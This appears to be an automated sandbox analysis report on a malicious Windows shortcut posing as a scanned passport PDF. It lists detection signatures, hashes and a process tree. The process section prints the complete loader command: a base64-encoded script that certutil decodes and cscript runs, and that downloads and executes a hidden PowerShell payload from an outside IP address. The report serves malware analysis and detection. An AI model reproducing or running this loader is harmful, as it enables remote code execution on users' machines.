Analysis

  • max time kernel
    298s
  • max time network
    260s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/07/2026, 03:44

General

  • Target
    ScanPassportiv3.pdf.lnk
  • Size 16KB
  • Sample260724-eak41afq7x
  • SHA256 d315edb6c327ba0fa47d13468d14d187efcb6584e4eed24e3d96918f4280db46
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ScanPassportiv3.pdf.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4680
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "pushd C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzE4NS45NS4xNTYuNzQvc3pjaDIxMDcvY29uZ3Jlc3Njb25zaXN0LnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > Tqjm.dat && certutil -f -decode Tqjm.dat sgHNv.js >nul && dir Tqjm.dat >nul && cscript //nologo //b sgHNv.js && del Tqjm.dat sgHNv.js"
      2⤵
      • Deobfuscate/Decode Files or Information
      • Suspicious use of WriteProcessMemory
      PID:1348
      • C:\Windows\system32\certutil.exe
        certutil -f -decode Tqjm.dat sgHNv.js
        3⤵
        • Deobfuscate/Decode Files or Information
        PID:2080
      • C:\Windows\system32\cscript.exe
        cscript //nologo //b sgHNv.js
        3⤵
        • Badlisted process makes network request
        PID:852

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Tqjm.dat

        • Path C:\Users\Admin\AppData\Local\Temp\Tqjm.dat
        • Size 416B
        • SHA256 788580d468699dcc3c929e870b4a37bfa43ab4a50a9a2e0b1c32e4cb6d58b202
        • MD5 SHA1 SHA512 TLSH

        sgHNv.js

        • Path C:\Users\Admin\AppData\Local\Temp\sgHNv.js
        • Size 307B
        • SHA256 0a2c8f3e044e854249f0798aa11e3fa06cb5d6f6643c74fdd530e25e11226aca
        • MD5 SHA1 SHA512 TLSH